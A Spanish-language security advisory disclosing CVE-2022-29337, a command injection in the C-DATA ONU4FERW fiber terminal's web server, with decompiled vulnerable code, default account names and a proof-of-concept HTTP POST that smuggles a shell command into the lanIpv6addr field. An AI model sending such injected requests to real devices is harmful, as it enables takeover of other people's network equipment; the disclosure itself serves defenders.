OS Command Injection in C-DATA ONU4FERW – CVE-2022-29337

OS Command Injection in C-DATA ONU4FERW

version V2.1.13_X139

CVE-2022-29337
Aviso de Seguridad 2022-05-25

Samir Sánchez Garnica
Luis Eduardo Jácome Valencia

Descripción de la vulnerabilidad

C-DATA ONU4FERW

Este tipo de ONU es un producto terminal EPON de triple play diseñado para satisfacer las necesidades de operador de telecomunicaciones, radio y televisión FTTH fiber home multi-service access. El producto es basado en la tecnología Gigabit EPON madura y estable y rentable, que integra Gigabit Tecnología de red Ethernet, tecnología VOIP, tecnología WDM, con alta fiabilidad, fácil gestión y buena calidad de servicio (QoS) para garantizar que el rendimiento técnico de equipo para cumplir con los requisitos técnicos de equipos IEEE802.3ah, China Telecom EPON (V2.1) y otras especificaciones.

EL PROBLEMA

Esta versión es afectada por la ejecución de codigo remoto bajo el método formlanipv6 el cual permite el pase de parámetros sin ser sanitizádos a una funcionalidad denominada va_cmd el cual invoca la función system.

Puede hacer uso de los usaurios por defecto e8c o adminisp.

VERSIONES AFECTADAS

Se estima que las versiones afectadas sean <= v2.1.13_x139

Línea de tiempo
FechaAcción
18/11/2021 Aviso enviado a la respuesta a incidentes de seguridad de productos C-DATA
16/03/2022 Solicitud Asignación CVE mitre.org
24/05/2022 CVE-2022-29337 Asignado por mitre.org
Linea de tiempo

Descripción técnica y prueba de concepto (PoC)

Identificación de vulnerabilidad a traves de la ingenieria inversa

Obteniendo el binario que actua como servidor web (boa), es posible identificar el bloque vulnerable, un parametro pasado directamente a la función system controlado por el atacante. A continuación, se puede observar el bloque de código vulnerable:

El segmento de código vulnerable es el siguiente:

  • Tenemos un buffer de tamaño 48 bytes, lo cual puede ser limitante para ejecutar una cadena larga de explotación
  • Luego este buffer es pasado a la función va_cmd la cual ejecuta la función system.
  char acStack56 [48];
  
  iVar1 = mib_get(0x10e,&DAT_004d285c);
  if (iVar1 != 0) {
    sprintf(acStack56,PTR_DAT_004ce684 + -0x4e24,&DAT_004d285c,0x40);
    va_cmd(&IFCONFIG,3,1,&LANIF,&ARG_DEL,acStack56);
  }

Puede comprobar la explotación de dicha vulnerabilidad ejecutando el siguiente fragmento de código.

POST /boaform/formlanipv6 HTTP/1.1
Host: 192.168.101.1
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:100.0) Gecko/20100101 Firefox/100.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: es-ES,es;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 55
Origin: http://192.168.101.1
Connection: close
Referer: http://192.168.101.1/ipv6.asp
Upgrade-Insecure-Requests: 1

lanIpv6addr=$(ls > /var/tmp/sam)&submit-url=%2Fipv6.asp

SI revisamos la ruta /var/tmp/ podemos obtener el nuevo documento creado sam

Habiendo verificado la explotabilidad de dicha vulnerabilidad haga uso del siguiente exploit y ejecute de forma automatizada, tome control del dispositivo.

URL mintre: https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2022-29337

URL código de explotación: https://github.com/exploitwritter/CVE-2021-44132

Deja un comentario

Web construida con WordPress.com.

Subir ↑